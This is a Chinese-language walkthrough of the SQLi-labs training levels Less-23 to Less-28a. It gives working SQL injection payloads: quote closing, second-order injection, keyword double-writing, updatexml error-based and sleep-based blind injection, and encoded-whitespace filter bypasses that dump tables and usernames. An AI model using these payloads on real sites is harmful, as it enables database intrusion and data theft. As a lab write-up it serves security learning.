Less-23
这一关按照一般的步骤操作时,发现使用 # --+
等注释符并不能起到作用,查看源码,发现:
注释符都被过滤为空,这里有两种选择:
1.不使用注释符,使用 ’ 构造语句将后面的 ’ 闭合。
?id=' union select 1,2,database() '
2.使用;%00
进行截断(MySQL特有)
以上两种方式皆可。
注意:使用第一种方法时,要注意逻辑上发生错误。
获得数据库:
?id=' union select 1,2,database() '
获得表:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '
后面常规操作。
Less-24
二次注入。
原理:二次注入原理
我们正常的登录的username和password都是admin。
这里我们注册一个username为admin ’ #的用户,password为123456;用户名中的单引号因为转义的缘故,并不会触发sql报错,但是在插入到数据库时,又会将 ’ # 插入到数据库中:
接下来我们使用admin ’ # 用户进行登录,并修改密码为123:
发现其实修改的时admin用户的密码,二次注入完成。
Less-25
我们在使用 order by
语句判断列数时,发现or
被过滤:
查看源码:
发现 or 和 and 都被过滤,无论大小写,我们可以采取双写,或者使用符号 || &&分别表示 or 和 and 。
还需要注意的时,这一关使用联合注入不能得到结果,可以采取盲注,但是盲注太麻烦,所以试试报错注入:
获得数据库:
?id=1' aandnd updatexml (1,concat(0x7e,database(),0x7e),1) --+
查表:注意information中的or也要双写。
?id=1' aandnd updatexml (1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+
剩下基本操作。
Less-25a
enenenen…过滤了and和or的盲注。还有,数字型。这里写全一点吧,顺便复习。
获得数据库:
?id=1 aandnd if(length(database())>1,1,sleep(5)) --+
判断数据库的名称:
?id=1 aandnd if(ascii(substr(database(),1,1)>97),sleep(5),1) --+
判断表的个数:
?id=1 aandnd if((select count(table_name) from infoorrmation_schema.tables where table_schema='security')=4,1,sleep(5)) --+
判断第一个表的长度:
?id=1 aandnd if(length(substr((select table_name from infoorrmation_schema.tables where table_schema='security' limit 1,1),1))=1,1,sleep(5))#
判断表的名称:
?id=1 aandnd if(ascii(substr((select table_name from infoorrmation_schema.tables where table_schema='security' limit 1,1),1))=1,1,sleep(5))#
判断列把表换成列就好了0.0
Less-26
过滤了注释和空格的注入。enen…骗子!!
查看源码:
过滤了 or 、and 、 /* 、# 、-- 、空格。
这里使用&&会报错,但是||不会。
一些姿势:
空格绕过:
%20 空格(url编码)
%0a 换行
%09 Tab键
%a0 好像也是空格(不太清楚)
&&可以使用%26%26
但是#好像不能使用%23绕过…
所以这里要使用逻辑语句将单引号闭合,但是要注意逻辑错误。
确认字段数:
?id=11111' union%a0select%a01,2,3%a0%26%26'1'='1
后面正常操作:
暴库:
?id=11111' union%a0select%a01,database(),3%a0%26%26'1'='1
暴表:
?id=11111' union%a0select%a01,group_concat(table_name),3%a0 from %a0infoorrmation_schema.tables %a0where%a0 table_schema='security'%a0%26%26'1'='1
暴字段:
?id=11111' union%a0select%a01,group_concat(column_name),3%a0 from %a0infoorrmation_schema.columns %a0where%a0 table_name='users'%a0%26%26'1'='1
暴数据:
?id=11111'%a0union%a0select%a01,group_concat(username),3%a0from %a0users%a0where%a0'1'='1
注意结尾的 where 1=1
Less-26a
遇上一关不同的是,采用 ') 闭合。
Less-27
题目描述是过滤了select和union关键字,但是还是瞅瞅源码:
呵呵…
可以采取大小写混合绕过:
查库:
?id=1231'%09unIOn%09seLEcT%091,2,3%26%26'1'=1='1 #联合注入
?id='%26%26updatexml%09(1,concat(0x7e,(sELeCt%09database()),0x7e),1) %26%26'1'='1 #报错注入
查表:
?id=1231'%09unIOn%09seLEcT%091,group_concat(table_name),3%09from %09information_schema.tables%09 where%09 table_schema='security'%26%26'1'=1='1
查字段:
?id=1231'%09unIOn%09seLEcT%091,group_concat(column_name),3%09from %09information_schema.columns%09 where%09 table_name='users'%26%26'1'=1='1
查数据:
?id='%a0uNion%a0sElect%a01,group_concat(username),3%a0from%a0users%a0uniOn%a0seLect %a01,2,'3
Less-27a
双引号闭合,不能用报错注入,没啥了吧。
Less-28
看看源代码:
最后一个好像不能union select一起使用,会过滤掉,不论大小写。
既然不能联合注入,报错貌似也不行,那就盲注吧。
判断数据库长度:
?id=1')%26%26if%09(length(database())=8,sleep(5),1)%26%26('1')=('1
注意闭合方式:’)
然后常规操作。
Less-28a
这关也可以使用盲注,并且语句和28关一样,还是看看源码;这里过滤都被注释掉了,但是跟上一关差不多,不说了。
闭合方式: